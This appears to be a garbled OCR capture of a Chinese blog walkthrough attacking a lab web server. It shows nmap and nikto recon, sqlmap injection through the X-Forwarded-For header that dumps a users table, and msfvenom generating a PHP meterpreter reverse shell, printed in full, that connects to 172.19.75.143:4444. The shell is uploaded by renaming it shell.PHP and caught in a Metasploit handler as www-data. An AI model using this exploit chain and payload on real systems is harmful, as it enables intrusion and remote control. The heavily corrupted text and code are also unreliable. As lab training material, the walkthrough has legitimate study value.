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mtu 1500

broadcast 172.19.75.255
inet6tWwfe e Frf:Tfe27:bb8 yrefixle oF 1 0x20<1ink=>

inetfil72 : a 3 netmask
7:27:0b:b8 txqueuele 1000 fEChernel )
473 bytes 2783758 (2. MiB)
dropped overruns © frame ©
] bytes 606490 (592.2 KiB)
errors 0 dropg ©@ overruns 0 carrier © collisions ©

m
W u

lo: flags=73<UP,LOOPBACK, RUNNIN mtu
inet 127.8.8.1 netmas =1 - e -
inet6 :: refixlen 1 scopeid Oxl1l0<host>
loop jeuelen 1000 (Local Loopback)
RX pac Z bytes 1116 (1.0 KiB)
RX errors E dropped © overruns © frame ©
TX pack D byt 1116 (1.0 KiB)
TX e Drs € dropped ©® overruns © carrier © collig
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- nmap -s
Starting Nmap 7.70 (

Nmap scan report fTor

Host is up (©.00018s

Not shown: 999 closed

PORT STATE SERVICE VERSIO

80/tcp open http nglnx ©.7.67

MAC Address: 08:00:27:67:39:48 (Oracle VirtualBox wvirtual NIC)

Service detection performed. Please report any incorrect results
bmit/
Nmap done: 1 IP addres (1 host up) ed in

Nmap done: 1 IP address (1 host up) scanned in 7.69 seconds

EMNnikto -host http://172.19.75.69/

Hostname:
E Port
Time :

nginx/0.

s L”DB l:ln4 f’—PHPE%ﬁnuF‘E D42ﬁ—lld’—ﬁ7bw—OUHHOOlH<F4 PHP rewveals
'itl‘.ft—' information via certain HTTP requests that contain specific QUERY
+

+ ERROR: Error limit (20) reached for . qlwlnq up. Last error:

+ Scan terminated: 19 error( and i m( s ) re on remote host
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© & 172.19.75.69/admin/login.ph — - O
BE—F ., fRELE0E

Login

Login

Password

Login
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Loading ZAP Tips and Tricks...

er, version=4.0.0], [id=reveal, version=2.0.0], [id=saveraw
message, version=4.0.0], [id=scripts, version=22.0.0], [id=
selenium, version=13.0.0]. [id=spiderAjax, version=20.0.0].
[id=tips. version=6.0.0], [id=webdriverlinux, version=4.0.0],
[id=websocket, version=14.0.0], [id=zest, version=26.0.0]]
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(StandardMode |¥] | ] L3 b W 7 &8
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A2E 000 000 44V P ) O X @0

ny“QuickStartilﬁiiﬁ | ML 4= | + |

@ QB = Please be aware that you should only attack applications that you have beer 4
v () Contexts To quicklytest an application, enter its URL below and press 'Attack'.
[T Default Contesxt
@ i URL to attack: http:d/
[ L& M | @ stop
Progress: Mot started f
<t J v
1IECAEE DTN EY
© @& | i A ¢ Export
Id | Req.Timestamp |... |URL |C... |Reason | .. |Size Res... |Highes... |M... | Tags |@|

e R0 PO o B

stiis Fuzer}o 50 D0 W0 S0 w

BNEIE M T MAE: http://172.19.75.80, Bt .

Please be aware that vou should only attack applications that yvou have be%

To quickly test an applicatio

its URL below and press "Attack’.

URL to attack:

Progress:

KIMweb B A sqiEANIEIH, IKiFJX-Frame-OptionsZ 4.

@ e

X-Frame-Options Header Not Set

: http:##172.19.75.69

|| GET: http:#/172.19.75.69/

| GET: http:#/172.19.75.69/admin/login.php
GET: http://172.19.75.6%/all.php

sqlmapiE A

15 F sqlmap 2 BR300 B4 B R EE .

¥ U ¥-Frame-Options Header Mot Set {(11)

URL: http:/#172.19.75.69

Risk: o Medium
Confidence: -
P
Attack:

-




BEEalsqlmap -u "http://172.19.75.69" --headers="X-Forwarded-For:*" --dbs --batc

http: sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consen
t is illegal. It is the end user's responsibility to obey all applicable local, state
nd federal laws. Developers assume no liability and are not responsible for
or damage caused by this program

a
any misuse
https:/iblog.csdn.net/gq_43233085

avallable databases [2]
[*] = TOTrmaciesn schema
[*+]1} photoblog

fetched data logged

ending @ 11:11:31 /2019-11-28/

1§ F sqimap 2 R ifll photoblog & 7 ) 2%

"http://172.19.75.069" --headers="X-Forwarded-For:*>"

http: sglmap.org

[!] Legal disclaimer: Usage of sglmap for attacking targets without prior mutual consen
T is illegal. It is the end user's responsibility to obey all applicable local, state a
nd federal laws. Developers assume no liability and are not responsible for

any misuse
or damage caused by this program

[*] starting @ 11:12:29 /2019-11-28/ https:/fblog.csdn.net/qg_43233085

Database: photoblog

[4 tables]

R R
categories |
pictures |
stats |

|
s

|

|

|

|
4 - -

[ fetched data logge
75.69"

[*] ending @ 11:14: ktbs/5@d3d0.nelgh 42283085
ff FsqimapZ=#FillusersEHF T E .

-u "http://172.19.75.69" --headers="X-Forwarded-For:*" -D "photoblo
--columns --batch

argets without prior mutual consen
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[*] starting @ 11:14:43 /2019-11-2

mediumint(9)
varchar(50)
varchar(50)

fetched data logge
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--headers="X-Forwarded-For:*" -D "photoblo

sqlmap -u "http://172.19.75.69"
* -C "login,password"”

0 L : for attacking targets without prior cons
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starting @ 11:18:41 https://blc

Database: photoblog
Table: users

entry]
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Login |

f# FHadminfiP4sswOrd =& G5 & -

i) & 172.19.75.69/ad /login.ph 80% ee @ Y
E—TF . fRELE0E

L.ogin

Login Box

Login admin



Password ssessssee

' Login

HANEE.

% — @ 172.19.75.69/admin/index.php
© LRERN 5 8E—F , s

Administration of my Aw

[Hacker [delete|
|Rul)y |de|etef

[Cthulhu [delete |
lAdd a new picture

PS: FHATHAAERZAEEMRA, oM, REDTASELK, BIG.

t4£shellfi4 (copy)
TR e, RBI LA TR, RAEXE L feshell iz,

(&)= C @ ® 172.19.75.80/admin/new.php
£+ Most Visited @ Getting Started "\ Kali Linux "\ Kali Traini

Administration of my Av

Title

Browse... No file selected

File

test v |
Add

B B 223, # FImsfvenoml] fEshell i 4

IR s fvenom -p php/meterpreter/reverse tcp lhost=172.19.75.143 lport=4444 -f |



choosing Msf::Module: : tform: :PHP from the pa

1: php from
nnfpurrlnq "4

b)): 3 gsc S ;
sion 1U1dwdf'LHhUL1H ) && ini get('suhosin.e
reate function('', $b); %$suhosin bypass();

IF0) ~ || @ Shas.phe ®ES) |2 © @ ©

hp /**/ error _reporting(0); $ip = '172.19.75.143'; $port = 4444; if (($7T =
':t|:3r socket client') && is callable( T)) { $s = JT( tep://{$ip}:{$port}”); $s type =
'stream': } if (1$s && ($f = 'fsockopen') && is callable{“)) { $5 = $f($ip, $port)
$s type = 'stream'; } if ('%5 && ($f = 'socket create') && is callable($f)) { $s =
$T(AF INET, SOCK STREAM, SOL TCP); $res = @socket connect(%$s, $ip, $port); if (!$res)
{ die(); } $s type = 'socket'; } if (!%$s type) { die('no socket funcs'); } if (!$s)
{ die('no socket'); } switch (%$s type) { case 'stream': $len = fread(%$s, 4); break;

case 'socket': $len = socket read($s, 4); break; } if (!$len) { die(); } $a =
unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch
($s type) { case stream': $b .= fread($s, $len-strlen($b));: break: case socket':

$b .= socket read($ tlen-strlen($b)); break; } } $GLOBALS[ 'msgsock'] = $%s;
$GLOBALS _'w:q ock fuf* ] = $s type; if (extension_loaded{ suhosin') &&
ini_get('suhosin.e> utor.disable eval )) { $suhosin bypass=create function('', $b);
$suhosin bypass(); } else { eval($b); } die();

B3| AT, bfgshell.phpXfE, KRBT .
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£+ Most Visited @ Getting Started "% Kali Linux “ KaliTr

) 172.19.75.80/ac
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shell

Browse...

shell.php

| test v
| Add
&« G o (® 172.19.75.80/admin/index.php

I+ Most Visited @ Getting Started "% Kali Linux “W Kali Tr

Administration of my A

7

MBEAMIZRERER, #shel phptiishel.PHP, Bk bAE, XRBIIT .

ghell PHP

shell.PHP|

Cancel QK
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< )= C ® 172.19.75.80/admin/new.php
£} Most Visited @ Getting Started "% Kali Linux “ KaliT

Administration of mv /



shell

Browse..

test

Add

172.19.75.80/ac

@
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Administration of my £

|H'dcker ‘delete[

\delete[

IRuby

delete ||

|shell

shel E4&5 5, IIEAIFT Frmetasploithilf44445% 0, 28R Fishell
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BER, REBEIFERSpayload, AESHTERE EHIPHNE.

msf5 = use exploit/multi/handler

msf5 exploit( ) > set payload php/meterpreter/reverse tcp
payload => php/meterpreter/reverse tcp

msf5 exploit( ) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (php/meterpreter/reverse tcp):

Name Current Setting Required

LHOST
LPORT 4444

Description

The listen address (an

interface may be
yes The listen port

hitps://blog.csdn.net/qg_43233085

i A\kalifip, ¥ &5

exploit( ) -
172.19.75.143
exploit/( )

set lhost 172.19.75.143
> show options
Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (php/meterpreter/reverse tcp):

Name Current Setting Required Description

LHOST 172.19.75.143

The listen address (an in
LPORT 4444

The listen port

https://blog.csdn.net/iqg_43233085

run, MEIF44443517,

msf5 exploit( ) > run

*] Started reverse TCP handler on 172.19.75.143:4444
*] Sending stage (38247 bytes) to 172.19.75.80
] Meterpreter session 1 opened (172.19.75.143:4444

|
|
[+
24 11:25:32 +0800
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sysinfo—F, ¥ ia,

debian
Linux de

v/admin/uplo:

-

uid=33 (www-data) gid=33(www-data) groups=33(www-data)
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